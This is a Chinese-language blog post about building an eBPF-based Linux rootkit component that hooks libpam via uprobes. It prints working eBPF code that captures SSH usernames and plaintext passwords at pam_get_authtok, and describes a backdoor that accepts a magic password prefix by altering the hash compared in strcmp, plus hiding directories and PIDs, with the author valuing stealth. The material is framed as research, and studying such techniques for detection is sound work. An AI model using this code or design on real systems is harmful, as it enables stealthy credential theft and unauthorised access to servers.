简介

这段时间在研究eBPF在Linux上的应用,简要的记录下利用eBPF。

​ BPF(Berkely Packet Filter)被设计用于抓取、过滤(特定规则的)数据包,Filters可以运行在基于寄存器的虚拟机中。

​ 最迷人的地方在于,BPF可以将userSpace提供的程序运行在内核中而不需要重新编译内核或者加载内核模块。但是BPF受限于最初的设计:只有两个寄存器、指令集滞后于现代的64bits的处理器、以及多处理器需要的新的指令。因此Alexei Starovoit提出了eBPF(Extended BPF)解决这些问题。

​ 简单地讲,eBPF提供了一种使得user space application可以在不需要加载内核模块的情况下运行在kernel mode的方式,同kernel module相比,eBPF更简单、稳定、安全。

并且由于JIT的存在,使得eBPF的执行性能也更好。eBPF经常被用于:跟踪分析、插桩、hook、调试、数据包处理/过滤。

跟踪与插桩

​ Linux的各种trace工具经常让我感到困惑,在Linux-strace-System里将Linux trace机制分为三类:数据源、数据收集处理(来自数据源)、前端(用户交互)还是比较清晰合理的。

数据源都是来自Linux Kernel,基本有三类:

  • kprobe

    kprobe针对KernelSpace的函数,动态的插桩,可以在指定的函数执行前后执行任意代码。

  • uprobe

    uprobe针对UserSpace的函数,动态的插桩,可以在指定的函数执行前后执行任意代码。

  • tracepoint

    tracepoint是由Linux 内核维护的,静态插桩的代码,大部分系统调用的插桩是通过这种方式。

基于这些数据源,可以构建很多前端的工具,例如sysdig, ftrace等。

而eBPF可以支持上面所有数据源的收集与处理。

基于这些,最近有相关的研究将eBPF技术应用在Rootkit上,例如Defcon

并且有公开的项目可以学习bad-bpf.

但是这些基本都集中在和rootkit一样的玩法(都是对系统调用做插桩),没有在UserSpace层做一些有意思的,本文主要通过eBPF实现SSH密码记录和万能密码后门。

隐藏目录

​ 通过tracepoint静态的跟踪点,可以对getdents64插桩,实现隐藏指定目录,简介的也实现了隐藏指定的进程PID,这不是这篇文章的重点。

SSH密码记录

之所以想通过eBPF的方式实现一个SSH密码记录和后门登录的工具,主要是eBPF的特性,它可以在不修改原文件的情况下以动态插桩的方式完成一定的目的,同时支持UserSpace和KernelSpace的数据交互。

较之patch sshd源码的方式,eBPF实现更具隐蔽性。

uprobe原理上支持在进程的任意地址插桩,但是实际中出于兼容性,一般针对库文件的导出函数插桩比较方便(需要指定插桩地址在库文件的偏移),如果直接对ssh相关的文件插桩,兼容性难保证(去符号了,不同版本函数偏移有差异)。因此选了PAM库文件作为目标。

在ssh的身份认证代码中,auth-pam.c,如果/etc/ssh/sshd_config配置允许通过PAM认证,将调用sshpam_auth_passwd函数认证

/*
 * Attempt password authentication via PAM
 */
int
sshpam_auth_passwd(Authctxt *authctxt, const char *password)
{
    ...
    sshpam_err = pam_authenticate(sshpam_handle, flags);
    sshpam_password = NULL;
    free(fake);
    if (sshpam_err == PAM_MAXTRIES)
        sshpam_set_maxtries_reached(1);
    if (sshpam_err == PAM_SUCCESS && authctxt->valid) {
        debug("PAM: password authentication accepted for %.100s",
            authctxt->user);
        return 1;
    } else {
        debug("PAM: password authentication failed for %.100s: %s",
            authctxt->valid ? authctxt->user : "an illegal user",
            pam_strerror(sshpam_handle, sshpam_err));
        return 0;
    }

}

pam_authenticate函数来自libpam.so.0导出函数

tree@tree-ubt:~/bpfRkt$ ldd `which sshd` | grep pam
    libpam.so.0 => /lib/x86_64-linux-gnu/libpam.so.0 (0x00007f29edbc6000)

分析libpam代码,pam_authenticate最终将调用pam_sm_authenticate

在libpam 下 pam_unix_auth.c

int
pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv)
{
    ....
    /* get this user's authentication token */

    retval = pam_get_authtok(pamh, PAM_AUTHTOK, &p , NULL);
    if (retval != PAM_SUCCESS) {
        if (retval != PAM_CONV_AGAIN) {
            pam_syslog(pamh, LOG_CRIT,
                "auth could not identify password for [%s]", name);
        } else {
            D(("conversation function is not ready yet"));
            /*
             * it is safe to resume this function so we translate this
             * retval to the value that indicates we're happy to resume.
             */
            retval = PAM_INCOMPLETE;
        }
        name = NULL;
        AUTH_RETURN;
    }
    D(("user=%s, password=[%s]", name, p));
}

这里比较有趣的是pam_get_authtok函数,在该函数执行完后,passwd将以明文的形式存在。

pamh参数中本就有username的明文,所以这是一个记录username:passwd的比较便利的位置。

实现代码:

SEC("uretprobe/pam_get_authtok")
int post_pam_get_authtok(struct pt_regs* ctx)
{
    char* passwd_ptr;
    char* user_ptr;
    static struct pam_handle *pamh = NULL;
    int index, event_type = 0;

    struct ssh_secret ssh;

    pamh = PT_REGS_PARM1(ctx);
    bpf_probe_read_user(&user_ptr, sizeof(user_ptr), &pamh->user);

    if(user_ptr == NULL){
        //bpf_printk("user_ptr is NULL: \n");
        return 0;
    }

    bpf_probe_read_user_str(ssh.username, MAX_USERNAME_LEN,  user_ptr);
    bpf_printk("post_pam_get_authtok username: %s\n", ssh.username);

    bpf_probe_read_user(&passwd_ptr, sizeof(passwd_ptr), (void*)PT_REGS_PARM3(ctx));
    if(passwd_ptr == NULL)
    {
        //bpf_printk("passwd_ptr is NULL \n");
        return 0;
    }
    bpf_probe_read_user_str(ssh.password, MAX_PASSWORD_LEN, passwd_ptr);
    bpf_printk("post_pam_get_authtok password: %s\n", ssh.password);


    // translate ssh
    index = 0;
    if(ssh.password[0] == '#' && ssh.password[1] == '1' && ssh.password[2] == '#')
    {
        // unversal password
        bpf_map_update_elem(&map_pass, &index, &ssh.password, BPF_ANY);
        event_type = 4;
    }
    else{       
        //record the username:password
        bpf_map_update_elem(&map_ssh, &index, &ssh, BPF_ANY);
        event_type = 3;
    }

    // ring event
    struct event* e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0);
    if(e){
        e->success = event_type;            // get ssh info
        e->pid = 0;
        bpf_get_current_comm(&e->comm, sizeof(e->comm));
        bpf_ringbuf_submit(e, 0);
    }

    return 0;
}

SSH万能密码

虽然通过uprobe可以方便地读取UserSpace的内存,可以实现SSH用户名密码的窃取,但是想要实现留一个万能后门密码还是做不到的。

目前uprobe只支持对UserSpace可写内存的读写,并不能够直接更改寄存器,换句话说我们无法直接通过修改pam_authxxx相关函数绕过认证。

反复验证,尝试了通过栈寻址修改局部变量(存储返回值的变量),但是也没如愿。。(这些函数的返回值直接通过[r]eax寄存器控制)。如果想通过这种方式实现,需要找到一个pam认证函数,它的返回值是可以通过寻址定位的(动态分配的堆地址,栈空间)。

最后,看到下面的验证密码hash的代码,想到一个迂回的办法

PAMH_ARG_DECL(int verify_pwd_hash,
    const char *p, char *hash, unsigned int nullok)
{
    ...
        if (pp && strcmp(pp, hash) == 0) {  // modify pp to hash
            retval = PAM_SUCCESS;
        } else {
            retval = PAM_AUTH_ERR;
        }
    return retval;      
}

这里用的strcmp比较输入的密码的hash值和/etc/shadow文件里的哈希值。

虽然通过uprobe通过没办法直接修改strcmp返回值,但是strcmp函数的返回值却可以间接地修改参数来控制。

简言之,可以在strcmp调用前,修改错误的hash值和真实的hash值一致,自然就认证成功。

效果:

最后

​ 基本的功能达到了预期,但是eBPF的持久化还有一些问题,等搞定了再发下项目地址。(:

相关资料

点击收藏 | 3 关注 | 1
登录 后跟帖